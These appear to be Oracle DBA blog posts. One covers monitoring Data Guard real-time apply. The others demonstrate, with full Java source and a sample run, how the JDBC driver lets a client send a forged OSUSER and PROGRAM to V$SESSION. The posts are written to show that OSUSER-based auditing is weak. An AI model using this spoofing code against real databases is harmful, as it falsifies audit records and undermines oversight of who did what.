Monitoring real-time apply progress

In many cases monitoring Data Guard, at least in Maximum Performance mode, is down to checking transport and apply lag to make sure standby database is not “too far” behind primary, and quite often it is sufficient in a day to day operation. By checking v$archived_log we can easily get information about the last archived and applied log sequence number:

SQL> select sequence#,ARCHIVED,APPLIED from v$archived_log order by sequence#;
SEQUENCE# ARCHIVED  APPLIED
---------- --------- ---------
… output truncated …
       208 YES       YES
       209 YES       YES
       210 YES       YES
       211 YES       IN-MEMORY

If we use real-time apply changes are applied to the standby database as soon as they are written to the standby redo logs, which should keep standby database as up to date as possibly without going to Maximum Availability or Maximum Protection.

However, if our primary database fails, how can we check what is the last change transmitted from the primary, or that all changes transmitted were actually applied before we activate standby?
Of course we can trust that Oracle will apply all the transmitted redo, when standby is activated, but without knowing what was the last transmitted change we have no way of verifying it. It is also possible that the failover decision depends on how far behind the primary the standby was at the time of failure or how much data can potentially be lost.

One way of finding the information we need is by checking v$standby_log and v$recovery_progress views.
v$standby_log displays information about standby redo logs. Columns LAST_CHANGE# and LAST_TIME can be used to find last changes transmitted from primary.

SQL> select GROUP#,THREAD#,SEQUENCE#,STATUS,LAST_CHANGE#,LAST_TIME from v$standby_log;

    GROUP#    THREAD#  SEQUENCE# STATUS           LAST_CHANGE# LAST_TIME
---------- ---------- ---------- ---------- ------------------ -------------------
         4          1        213 ACTIVE                1699715 2013-04-18 20:26:15
         5          1          0 UNASSIGNED
         6          1          0 UNASSIGNED
         7          1          0 UNASSIGNED

SQL>

v$recovery_progress can be used to monitoring database recovery operations, and gives us access to information like: Last Applied Redo, Active Apply Rate, Average Apply Rate, Apply Time per Log and a few more. The item we are interested in is “Last Applied Redo” and the value of the “TIMESTAMP” column. The value should be very close to or match the value of LAST_TIME column from v$standby_log view.

SQL> select START_TIME,TYPE, ITEM,UNITS,SOFAR,TIMESTAMP 
  2  from v$recovery_progress where ITEM='Last Applied Redo';
START_TIME          TYPE             ITEM                UNITS     TIMESTAMP
------------------- ---------------- ------------------- --------- -------------------
2013-04-17 22:46:26 Media Recovery   Last Applied Redo   SCN+Time  2013-04-18 20:26:16

SQL>

Spoofing V$SESSION.OSUSER java code

In my previous post I discussed using OSUSER for auditing user access. To spoof OSUSER I wrote a short program in Java, but I didn’t publish a source code. I was planning to do it for quite some time now, especially that Pete Finnigan expressed interest in seeing it. Martin also hassled me for the past few months, and here is the Java code I used.

To compile it I used java 1.6 and Oracle jdbc 11.2.0.1 driver:

javac -cp ../lib/ojdbc6.jar:. OraAccess.java

OraAccess.java source file

import java.util.Properties;
import java.sql.*;
import java.io.Console;
import java.io.IOException;


public class OraAccess{
   public static Connection getConnection(String db_address, String db_name, String db_username,
   String db_pass, String new_osuser){
   Properties props = new Properties();
   props.put("user", db_username);
   props.put("password", db_pass);
   props.put("v$session.osuser", new_osuser);
   props.put("v$session.program", "UserSpoofTest");
   Connection con = null;
   try {
          con = DriverManager.getConnection("jdbc:oracle:thin:@"+ db_address +":" + db_name +"",props);
       } catch(SQLException ex) {
          System.err.println("SQLException: " + ex.getMessage());
       }
   return con;
 }

public static void main(String[] args) throws SQLException, IOException {
   Console c = System.console();
   if (c == null) {
      System.err.println("No console.");
      System.exit(1);
   }
   String username;
   username = System.getProperty("user.name");

   System.out.print("Your current operating system username is: ");
   System.out.println(username);

   String database_address = c.readLine("Enter database server IP and port number (IP:port):  ");
   String database_name = c.readLine("Enter database name:  ");

   String db_username = c.readLine("Enter database username:  ");
   String db_password = c.readLine("Enter password for user \"" + db_username +"\":  ");

   String fake_osuser = c.readLine("Enter fake osuser name:  ");

   Connection conn = getConnection(database_address, database_name, db_username, db_password, fake_osuser);
   String end_connection = c.readLine("Enter something to disconnect.");
   conn.close();
  }
}

Spoofing V$SESSION.OSUSER

In order to audit users activity in a database we need the ability to uniquely identify every individual user. The easiest way of course is to create every user and individual user account and use it for auditing purposes. But what if for whatever reason using individual database user accounts is difficult to implement, or impractical ? If we can’t use unique database accounts maybe a combination of a (shared) database account and a unique operating system user ID could be a way to go ?

The information about operating system account can be found in V$SESSION view column OSUSER, and when auditing is enabled it is written to AUD$ table, and can be viewed via related views. It is important to understand that it’s a client side operating system ID and database relies on the client software to provide it.

If we connect using SQLPLUS and database user “HR” from the OS user “pawel”, and query V$SESSION, we can see that OS user “pawel” connected to the database as user “HR”:

SQL> select username,osuser,program from v$session where username='HR';

USERNAME   OSUSER           PROGRAM
---------- ---------------- ----------------------------------------
HR         pawel            sqlplus@arantorga (TNS V1-V3)

SQL>

It looks OK because the client software provided the database with a correct information about OS user ID. It is possible to write a client software that will send false OS user ID to the database instead of a real one, and it isn’t even difficult. It took me less them 5 minutes and Google to find how to do it, and it doesn’t require a lot of programming skills. I used Oracle JDBC driver (11.2.0.1) and Sun JDK6 U16 to write a small piece of code that connects to the database (10.2.0.4) with false OSUSER. The application doesn’t really do anything except connecting to the specified database and waiting for user input before terminating the connection:

pawel:~/workspace/java_sandbox/src$id
uid=1000(pawel) gid=1000(pawel) groups=122(kvm),1000(pawel)
pawel:~/workspace/java_sandbox/src$
pawel:~/workspace/java_sandbox/src$java -cp ../../java_test/lib/ojdbc6.jar:. OraAccess
Your current operating system username is: pawel
Enter database server IP and port number (IP:port):  192.168.122.21:1521
Enter database name:  sample
Enter database username:  hr
Enter password for user "hr":  hr
Enter fake osuser name:  false_osuser
Enter anything to disconnect: 

Once the connection is established we can check V$SESSION view again:

SQL> select username,osuser,program from v$session where username='HR';

USERNAME   OSUSER           PROGRAM
---------- ---------------- ----------------------------------------
HR         pawel            sqlplus@arantorga (TNS V1-V3)
HR         false_osuser     UserSpoofTest

SQL>

I was able to set not only OSUSER column but also PROGRAM and a few other columns from V$SESSION view can be set in exactly the same way.

I can’t give a definite answer if using OSUSER for auditing is acceptable or not because it probably depends on more then one thing. However spoofing OSUSER isn’t exactly difficult, and if security is important to you, individual database accounts should be your first choice, even if it’s not easy it implement.